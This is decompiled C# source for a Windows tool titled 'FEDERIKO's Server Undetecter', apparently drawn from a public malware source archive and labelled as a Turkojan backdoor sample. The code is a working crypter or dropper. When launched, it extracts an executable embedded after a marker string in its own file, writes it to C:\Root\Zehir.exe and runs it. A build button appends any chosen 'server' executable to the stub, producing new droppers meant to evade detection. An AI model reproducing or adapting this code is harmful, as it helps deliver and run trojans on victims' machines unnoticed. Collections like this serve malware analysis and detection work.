mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-31 22:37:27 +00:00
504 lines
17 KiB
C#
504 lines
17 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: Server_Undetecter.Form1
|
||
// Assembly: Server Undetecter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: D5DD5A11-3E2A-4F57-B42E-07C8FDDA9C7E
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Turkojan.zwh-5af17d13c3e916217850f653e93ff6551f2e2da64506ec4362f38396c7d2d2df.exe
|
||
|
||
using Microsoft.VisualBasic;
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using Server_Undetecter.My;
|
||
using System;
|
||
using System.ComponentModel;
|
||
using System.Diagnostics;
|
||
using System.Drawing;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Windows.Forms;
|
||
|
||
namespace Server_Undetecter
|
||
{
|
||
[DesignerGenerated]
|
||
public class Form1 : Form
|
||
{
|
||
private IContainer components;
|
||
[AccessedThroughProperty("PictureBox1")]
|
||
private PictureBox _PictureBox1;
|
||
[AccessedThroughProperty("TextBox1")]
|
||
private TextBox _TextBox1;
|
||
[AccessedThroughProperty("Button1")]
|
||
private Button _Button1;
|
||
[AccessedThroughProperty("RadioButton1")]
|
||
private RadioButton _RadioButton1;
|
||
[AccessedThroughProperty("RadioButton2")]
|
||
private RadioButton _RadioButton2;
|
||
[AccessedThroughProperty("RadioButton3")]
|
||
private RadioButton _RadioButton3;
|
||
[AccessedThroughProperty("Button2")]
|
||
private Button _Button2;
|
||
[AccessedThroughProperty("Button3")]
|
||
private Button _Button3;
|
||
[AccessedThroughProperty("OpenFileDialog1")]
|
||
private OpenFileDialog _OpenFileDialog1;
|
||
[AccessedThroughProperty("SaveFileDialog1")]
|
||
private SaveFileDialog _SaveFileDialog1;
|
||
private string[] Oku;
|
||
private string Server;
|
||
private string İsim;
|
||
private string GömülmüşServer;
|
||
private string Builder;
|
||
private const string Yarık = "#FEDERIKO's Laß#";
|
||
|
||
[DebuggerNonUserCode]
|
||
public Form1()
|
||
{
|
||
this.Load += new EventHandler(this.Form1_Load);
|
||
this.InitializeComponent();
|
||
}
|
||
|
||
[DebuggerNonUserCode]
|
||
protected override void Dispose(bool disposing)
|
||
{
|
||
try
|
||
{
|
||
if (!disposing || this.components == null)
|
||
return;
|
||
this.components.Dispose();
|
||
}
|
||
finally
|
||
{
|
||
base.Dispose(disposing);
|
||
}
|
||
}
|
||
|
||
[DebuggerStepThrough]
|
||
private void InitializeComponent()
|
||
{
|
||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
||
this.PictureBox1 = new PictureBox();
|
||
this.TextBox1 = new TextBox();
|
||
this.Button1 = new Button();
|
||
this.RadioButton1 = new RadioButton();
|
||
this.RadioButton2 = new RadioButton();
|
||
this.RadioButton3 = new RadioButton();
|
||
this.Button2 = new Button();
|
||
this.Button3 = new Button();
|
||
this.OpenFileDialog1 = new OpenFileDialog();
|
||
this.SaveFileDialog1 = new SaveFileDialog();
|
||
((ISupportInitialize) this.PictureBox1).BeginInit();
|
||
this.SuspendLayout();
|
||
this.PictureBox1.Image = (Image) Server_Undetecter.My.Resources.Resources.Whack_20MS_20Access;
|
||
PictureBox pictureBox1_1 = this.PictureBox1;
|
||
Point point1 = new Point(12, 12);
|
||
Point point2 = point1;
|
||
pictureBox1_1.Location = point2;
|
||
this.PictureBox1.Name = "PictureBox1";
|
||
PictureBox pictureBox1_2 = this.PictureBox1;
|
||
Size size1 = new Size(120, 120);
|
||
Size size2 = size1;
|
||
pictureBox1_2.Size = size2;
|
||
this.PictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||
this.PictureBox1.TabIndex = 0;
|
||
this.PictureBox1.TabStop = false;
|
||
TextBox textBox1_1 = this.TextBox1;
|
||
point1 = new Point(138, 12);
|
||
Point point3 = point1;
|
||
textBox1_1.Location = point3;
|
||
this.TextBox1.Name = "TextBox1";
|
||
TextBox textBox1_2 = this.TextBox1;
|
||
size1 = new Size(170, 21);
|
||
Size size3 = size1;
|
||
textBox1_2.Size = size3;
|
||
this.TextBox1.TabIndex = 1;
|
||
Button button1_1 = this.Button1;
|
||
point1 = new Point(138, 109);
|
||
Point point4 = point1;
|
||
button1_1.Location = point4;
|
||
this.Button1.Name = "Button1";
|
||
Button button1_2 = this.Button1;
|
||
size1 = new Size(121, 23);
|
||
Size size4 = size1;
|
||
button1_2.Size = size4;
|
||
this.Button1.TabIndex = 2;
|
||
this.Button1.Text = "Undetect Server !";
|
||
this.Button1.UseVisualStyleBackColor = true;
|
||
this.RadioButton1.Checked = true;
|
||
RadioButton radioButton1_1 = this.RadioButton1;
|
||
point1 = new Point(138, 39);
|
||
Point point5 = point1;
|
||
radioButton1_1.Location = point5;
|
||
this.RadioButton1.Name = "RadioButton1";
|
||
RadioButton radioButton1_2 = this.RadioButton1;
|
||
size1 = new Size(203, 17);
|
||
Size size5 = size1;
|
||
radioButton1_2.Size = size5;
|
||
this.RadioButton1.TabIndex = 3;
|
||
this.RadioButton1.TabStop = true;
|
||
this.RadioButton1.Text = "Binary";
|
||
this.RadioButton1.UseVisualStyleBackColor = true;
|
||
RadioButton radioButton2_1 = this.RadioButton2;
|
||
point1 = new Point(138, 62);
|
||
Point point6 = point1;
|
||
radioButton2_1.Location = point6;
|
||
this.RadioButton2.Name = "RadioButton2";
|
||
RadioButton radioButton2_2 = this.RadioButton2;
|
||
size1 = new Size(203, 17);
|
||
Size size6 = size1;
|
||
radioButton2_2.Size = size6;
|
||
this.RadioButton2.TabIndex = 4;
|
||
this.RadioButton2.Text = "Hex Code";
|
||
this.RadioButton2.UseVisualStyleBackColor = true;
|
||
RadioButton radioButton3_1 = this.RadioButton3;
|
||
point1 = new Point(138, 85);
|
||
Point point7 = point1;
|
||
radioButton3_1.Location = point7;
|
||
this.RadioButton3.Name = "RadioButton3";
|
||
RadioButton radioButton3_2 = this.RadioButton3;
|
||
size1 = new Size(203, 17);
|
||
Size size7 = size1;
|
||
radioButton3_2.Size = size7;
|
||
this.RadioButton3.TabIndex = 5;
|
||
this.RadioButton3.Text = "Hash Code";
|
||
this.RadioButton3.UseVisualStyleBackColor = true;
|
||
Button button2_1 = this.Button2;
|
||
point1 = new Point(310, 11);
|
||
Point point8 = point1;
|
||
button2_1.Location = point8;
|
||
this.Button2.Name = "Button2";
|
||
Button button2_2 = this.Button2;
|
||
size1 = new Size(31, 23);
|
||
Size size8 = size1;
|
||
button2_2.Size = size8;
|
||
this.Button2.TabIndex = 6;
|
||
this.Button2.Text = "---";
|
||
this.Button2.UseVisualStyleBackColor = true;
|
||
Button button3_1 = this.Button3;
|
||
point1 = new Point(265, 109);
|
||
Point point9 = point1;
|
||
button3_1.Location = point9;
|
||
this.Button3.Name = "Button3";
|
||
Button button3_2 = this.Button3;
|
||
size1 = new Size(76, 23);
|
||
Size size9 = size1;
|
||
button3_2.Size = size9;
|
||
this.Button3.TabIndex = 7;
|
||
this.Button3.Text = "Hakkında";
|
||
this.Button3.UseVisualStyleBackColor = true;
|
||
this.OpenFileDialog1.Filter = "Server (*.exe; *.scr; *.pif; *.com; *.dll)|*.exe; *.scr; *.pif; *.com; *.dll";
|
||
this.OpenFileDialog1.ShowHelp = true;
|
||
this.OpenFileDialog1.Title = "Server Aç";
|
||
this.SaveFileDialog1.Filter = "Uygulama (*.exe)|*.exe";
|
||
this.SaveFileDialog1.ShowHelp = true;
|
||
this.SaveFileDialog1.Title = "Kaydet";
|
||
this.AutoScaleDimensions = new SizeF(7f, 13f);
|
||
this.AutoScaleMode = AutoScaleMode.Font;
|
||
this.BackColor = Color.Black;
|
||
size1 = new Size(353, 144);
|
||
this.ClientSize = size1;
|
||
this.Controls.Add((Control) this.Button3);
|
||
this.Controls.Add((Control) this.Button2);
|
||
this.Controls.Add((Control) this.RadioButton3);
|
||
this.Controls.Add((Control) this.RadioButton2);
|
||
this.Controls.Add((Control) this.RadioButton1);
|
||
this.Controls.Add((Control) this.Button1);
|
||
this.Controls.Add((Control) this.TextBox1);
|
||
this.Controls.Add((Control) this.PictureBox1);
|
||
this.Font = new Font("Verdana", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 162);
|
||
this.ForeColor = Color.DimGray;
|
||
this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
|
||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||
this.MaximizeBox = false;
|
||
this.MinimizeBox = false;
|
||
this.Name = nameof (Form1);
|
||
this.StartPosition = FormStartPosition.CenterScreen;
|
||
this.Text = "FEDERIKO's Server Undetecter";
|
||
((ISupportInitialize) this.PictureBox1).EndInit();
|
||
this.ResumeLayout(false);
|
||
this.PerformLayout();
|
||
}
|
||
|
||
internal virtual PictureBox PictureBox1
|
||
{
|
||
[DebuggerNonUserCode] get => this._PictureBox1;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
||
}
|
||
|
||
internal virtual TextBox TextBox1
|
||
{
|
||
[DebuggerNonUserCode] get => this._TextBox1;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
||
}
|
||
|
||
internal virtual Button Button1
|
||
{
|
||
[DebuggerNonUserCode] get => this._Button1;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||
{
|
||
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
||
if (this._Button1 != null)
|
||
this._Button1.Click -= eventHandler;
|
||
this._Button1 = value;
|
||
if (this._Button1 == null)
|
||
return;
|
||
this._Button1.Click += eventHandler;
|
||
}
|
||
}
|
||
|
||
internal virtual RadioButton RadioButton1
|
||
{
|
||
[DebuggerNonUserCode] get => this._RadioButton1;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||
{
|
||
EventHandler eventHandler = new EventHandler(this.RadioButton1_CheckedChanged);
|
||
if (this._RadioButton1 != null)
|
||
this._RadioButton1.CheckedChanged -= eventHandler;
|
||
this._RadioButton1 = value;
|
||
if (this._RadioButton1 == null)
|
||
return;
|
||
this._RadioButton1.CheckedChanged += eventHandler;
|
||
}
|
||
}
|
||
|
||
internal virtual RadioButton RadioButton2
|
||
{
|
||
[DebuggerNonUserCode] get => this._RadioButton2;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||
{
|
||
EventHandler eventHandler = new EventHandler(this.RadioButton2_CheckedChanged);
|
||
if (this._RadioButton2 != null)
|
||
this._RadioButton2.CheckedChanged -= eventHandler;
|
||
this._RadioButton2 = value;
|
||
if (this._RadioButton2 == null)
|
||
return;
|
||
this._RadioButton2.CheckedChanged += eventHandler;
|
||
}
|
||
}
|
||
|
||
internal virtual RadioButton RadioButton3
|
||
{
|
||
[DebuggerNonUserCode] get => this._RadioButton3;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||
{
|
||
EventHandler eventHandler = new EventHandler(this.RadioButton3_CheckedChanged);
|
||
if (this._RadioButton3 != null)
|
||
this._RadioButton3.CheckedChanged -= eventHandler;
|
||
this._RadioButton3 = value;
|
||
if (this._RadioButton3 == null)
|
||
return;
|
||
this._RadioButton3.CheckedChanged += eventHandler;
|
||
}
|
||
}
|
||
|
||
internal virtual Button Button2
|
||
{
|
||
[DebuggerNonUserCode] get => this._Button2;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||
{
|
||
EventHandler eventHandler = new EventHandler(this.Button2_Click);
|
||
if (this._Button2 != null)
|
||
this._Button2.Click -= eventHandler;
|
||
this._Button2 = value;
|
||
if (this._Button2 == null)
|
||
return;
|
||
this._Button2.Click += eventHandler;
|
||
}
|
||
}
|
||
|
||
internal virtual Button Button3
|
||
{
|
||
[DebuggerNonUserCode] get => this._Button3;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||
{
|
||
EventHandler eventHandler = new EventHandler(this.Button3_Click);
|
||
if (this._Button3 != null)
|
||
this._Button3.Click -= eventHandler;
|
||
this._Button3 = value;
|
||
if (this._Button3 == null)
|
||
return;
|
||
this._Button3.Click += eventHandler;
|
||
}
|
||
}
|
||
|
||
internal virtual OpenFileDialog OpenFileDialog1
|
||
{
|
||
[DebuggerNonUserCode] get => this._OpenFileDialog1;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._OpenFileDialog1 = value;
|
||
}
|
||
|
||
internal virtual SaveFileDialog SaveFileDialog1
|
||
{
|
||
[DebuggerNonUserCode] get => this._SaveFileDialog1;
|
||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._SaveFileDialog1 = value;
|
||
}
|
||
|
||
private void Form1_Load(object sender, EventArgs e)
|
||
{
|
||
int num1;
|
||
int num2;
|
||
try
|
||
{
|
||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||
this.Builder = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||
FileSystem.FileGet(1, ref this.Builder);
|
||
FileSystem.FileClose(1);
|
||
ProjectData.ClearProjectError();
|
||
num1 = 2;
|
||
this.İsim = "Zehir.exe";
|
||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||
this.GömülmüşServer = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||
FileSystem.FileGet(1, ref this.GömülmüşServer);
|
||
FileSystem.FileClose(1);
|
||
this.Oku = Strings.Split(this.GömülmüşServer, "#FEDERIKO's Laß#");
|
||
this.GömülmüşServer = this.Oku[1];
|
||
this.Klasör();
|
||
FileSystem.FileOpen(1, "C:\\Root\\" + this.İsim, OpenMode.Binary, OpenAccess.ReadWrite);
|
||
FileSystem.FilePut(1, this.GömülmüşServer, -1L, false);
|
||
FileSystem.FileClose(1);
|
||
Process.Start("C:\\Root\\" + this.İsim);
|
||
this.Close();
|
||
goto label_6;
|
||
label_1:
|
||
num2 = -1;
|
||
switch (num1)
|
||
{
|
||
case 2:
|
||
goto label_6;
|
||
}
|
||
}
|
||
catch (Exception ex) when (
|
||
{
|
||
// ISSUE: unable to correctly present filter
|
||
int num3;
|
||
if (ex is Exception & num1 != 0 & num3 == 0)
|
||
{
|
||
SuccessfulFiltering;
|
||
}
|
||
else
|
||
throw;
|
||
}
|
||
)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
goto label_1;
|
||
}
|
||
throw ProjectData.CreateProjectError(-2146828237);
|
||
label_6:
|
||
if (num2 == 0)
|
||
return;
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
|
||
private void Klasör()
|
||
{
|
||
label_0:
|
||
int num1;
|
||
int num2;
|
||
try
|
||
{
|
||
ProjectData.ClearProjectError();
|
||
num1 = -2;
|
||
label_1:
|
||
int num3 = 2;
|
||
if (!MyProject.Computer.FileSystem.FileExists("C:\\Root\\Zehir.exe"))
|
||
goto label_3;
|
||
label_2:
|
||
num3 = 3;
|
||
MyProject.Computer.FileSystem.DeleteFile("C:\\Root\\Zehir.exe");
|
||
label_3:
|
||
num3 = 5;
|
||
if (MyProject.Computer.FileSystem.DirectoryExists("C:\\Root"))
|
||
goto label_12;
|
||
label_4:
|
||
num3 = 7;
|
||
label_5:
|
||
num3 = 8;
|
||
MyProject.Computer.FileSystem.CreateDirectory("C:\\Root");
|
||
goto label_12;
|
||
label_7:
|
||
num2 = num3;
|
||
switch (num1 > -2 ? num1 : 1)
|
||
{
|
||
case 1:
|
||
int num4 = num2 + 1;
|
||
num2 = 0;
|
||
switch (num4)
|
||
{
|
||
case 1:
|
||
goto label_0;
|
||
case 2:
|
||
goto label_1;
|
||
case 3:
|
||
goto label_2;
|
||
case 4:
|
||
case 5:
|
||
goto label_3;
|
||
case 6:
|
||
case 9:
|
||
case 10:
|
||
goto label_12;
|
||
case 7:
|
||
goto label_4;
|
||
case 8:
|
||
goto label_5;
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
goto label_7;
|
||
}
|
||
throw ProjectData.CreateProjectError(-2146828237);
|
||
label_12:
|
||
if (num2 == 0)
|
||
return;
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
|
||
private void Button2_Click(object sender, EventArgs e)
|
||
{
|
||
if (this.OpenFileDialog1.ShowDialog() != DialogResult.OK)
|
||
return;
|
||
FileSystem.FileOpen(1, this.OpenFileDialog1.FileName, OpenMode.Binary, OpenAccess.Read);
|
||
this.Server = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||
FileSystem.FileGet(1, ref this.Server);
|
||
FileSystem.FileClose(1);
|
||
this.TextBox1.Text = this.OpenFileDialog1.FileName;
|
||
}
|
||
|
||
private void Button1_Click(object sender, EventArgs e)
|
||
{
|
||
if (this.SaveFileDialog1.ShowDialog() != DialogResult.OK)
|
||
return;
|
||
FileSystem.FileOpen(1, this.SaveFileDialog1.FileName, OpenMode.Binary, OpenAccess.ReadWrite);
|
||
FileSystem.FilePut(1, this.Builder + "#FEDERIKO's Laß#" + this.Server + "\r\n\r\n#Coded By FEDERIKO#", -1L, false);
|
||
FileSystem.FileClose(1);
|
||
}
|
||
|
||
private void RadioButton1_CheckedChanged(object sender, EventArgs e)
|
||
{
|
||
if (!this.RadioButton1.Checked)
|
||
return;
|
||
this.İsim = "BinaryZehir.exe";
|
||
}
|
||
|
||
private void RadioButton2_CheckedChanged(object sender, EventArgs e)
|
||
{
|
||
if (!this.RadioButton2.Checked)
|
||
return;
|
||
this.İsim = "HexZehir.exe";
|
||
}
|
||
|
||
private void RadioButton3_CheckedChanged(object sender, EventArgs e)
|
||
{
|
||
if (!this.RadioButton3.Checked)
|
||
return;
|
||
this.İsim = "HashZehir.exe";
|
||
}
|
||
|
||
private void Button3_Click(object sender, EventArgs e)
|
||
{
|
||
int num = (int) MyProject.Forms.Form2.ShowDialog();
|
||
}
|
||
}
|
||
}
|